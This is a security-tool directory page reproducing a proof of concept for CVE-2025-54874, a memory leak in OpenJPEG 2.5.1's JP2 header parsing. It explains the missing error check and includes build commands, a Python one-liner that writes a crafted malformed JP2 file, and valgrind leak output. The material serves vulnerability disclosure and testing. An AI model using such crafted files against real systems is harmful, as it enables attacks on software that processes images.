Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2025-54874-poc — Proof-of-concept demonstrating a memory leak in OpenJPEG 2.5.1 via crafted JP2 files, triggering opj_read_header failure and heap leak, with valgrind verification. | Kitploit
Tools/GitHubGitHub/cyhe50/cve-2025-54874-poc
Memory ForensicsVulnerability AnalysisExploitationFuzzingBinary Analysis
GitHubcyhe50/cve-2025-54874-poc

cve-2025-54874-poc

Proof-of-concept demonstrating a memory leak in OpenJPEG 2.5.1 via crafted JP2 files, triggering opj_read_header failure and heap leak, with valgrind verification.

View Repository
10 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Reference

https://github.com/uclouvain/openjpeg/pull/1573

https://www.cvedetails.com/cve/CVE-2025-54874/

https://securitylab.github.com/advisories/GHSL-2025-057_OpenCV/

Test Env

openjpeg-2.5.1

Linux 6.10.14-linuxkit x86_64 GNU/Linux

Description

the function call chain is: opj_read_header → opj_jp2_read_header → opj_j2k_read_header → opj_j2k_setup_header_reading → opj_j2k_read_header_procedure → opj_stream_read_data

When the data is too small, the opj_stream_read_data will return error, causing opj_j2k_read_header return error back to opj_jp2_read_header.

However, in opj_jp2_read_header, it didn’t check whether opj_j2k_read_header returns error or not before setting values on the heap memory causing a memory leak.

POC Process

  1. initialize opj_image_t, opj_codec_t and opj_stream_t (these are required for opj_read_header)
    1. initialization reference: openjpeg2.5.1/tests/test_decode_area.c:create_codec_and_stream
  2. call opj_read_header()
  3. cleanup

How to run this POC

git clone [email protected]:cyhe50/cve-2025-54874-poc.git

cd cve-2025-54874-poc

run binary

./poc in/test.jp2: receive Expect Error: opj_read_header failed

run valgrind

valgrind --track-origins=yes --leak-check=full ./poc in/test.jp2

output

root@kitploit:~
==1280== Memcheck, a memory error detector
==1280== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1280== Using Valgrind-3.18.1 and LibVEX; rerun with -h for copyright info
==1280== Command: ./poc in/test.jp2
==1280==
Expect Error: opj_read_header failed
==1280==
==1280== HEAP SUMMARY:
==1280==     in use at exit: 8 bytes in 1 blocks
==1280==   total heap usage: 28 allocs, 27 frees, 1,066,008 bytes allocated
==1280==
==1280== 8 bytes in 1 blocks are definitely lost in loss record 1 of 1
==1280==    at 0x484DA83: calloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==1280==    by 0x10EAD6: opj_calloc (opj_malloc.c:204)
==1280==    by 0x12D8EE: opj_jp2_read_colr (jp2.c:1573)
==1280==    by 0x13030F: opj_jp2_read_jp2h (jp2.c:2727)
==1280==    by 0x12F6AA: opj_jp2_read_header_procedure (jp2.c:2364)
==1280==    by 0x12F967: opj_jp2_exec (jp2.c:2440)
==1280==    by 0x1307CD: opj_jp2_read_header (jp2.c:2855)
==1280==    by 0x10D9DA: opj_read_header (openjpeg.c:475)
==1280==    by 0x10B90D: main (poc.c:62)
==1280==
==1280== LEAK SUMMARY:
==1280==    definitely lost: 8 bytes in 1 blocks
==1280==    indirectly lost: 0 bytes in 0 blocks
==1280==      possibly lost: 0 bytes in 0 blocks
==1280==    still reachable: 0 bytes in 0 blocks
==1280==         suppressed: 0 bytes in 0 blocks
==1280==
==1280== For lists of detected and suppressed errors, rerun with: -s
==1280== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

Initial Process

openjpeg-2.5.1

  1. download source code

  2. compile

    root@kitploit:~
    cd openjpeg-2.5.1
    mkdir build && cd build
    cmake -DCMAKE_BUILD_TYPE=Debug ..
    make
    cd ../..
    
  3. build POC

  4. compile POC

    root@kitploit:~
    gcc -g -I./openjpeg-2.5.1/src/lib/openjp2 -o poc poc.c ./openjpeg-2.5.1/build/bin/libopenjp2.a -lm
    
    
  5. generate vuln jp2

    root@kitploit:~
    python3 -c "import sys; sys.stdout.buffer.write(bytes([
        0x00,0x00,0x00,0x0c,0x6a,0x50,0x20,0x20,0x0d,0x0a,0x87,0x0a,
        0x00,0x00,0x00,0x14,0x66,0x74,0x79,0x70,0x6a,0x70,0x30,0x20,
        0xf9,0xff,0xff,0xff,0x6a,0x70,0x33,0x20,0x00,0x00,0x00,0x31,
        0x6a,0x70,0x32,0x68,0x00,0x00,0x00,0x16,0x69,0x68,0x64,0x72,
        0x00,0x80,0x00,0x00,0x00,0x00,0x05,0x00,0x00,0x03,0x07,0x07,
        0x00,0x00,0x00,0x00,0x00,0x13,0x63,0x6f,0x6c,0x72,0x02,0xff,
        0xff,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,
        0x00,0x00,0x00,0x20,0x6a,0x70,0x32,0x63,0xff,0x4f
    ]))" > in/test.jp2
    
    
  6. run valgrind

    root@kitploit:~
     valgrind --track-origins=yes   --leak-check=full     ./poc in/test.jp2
    
Download Tool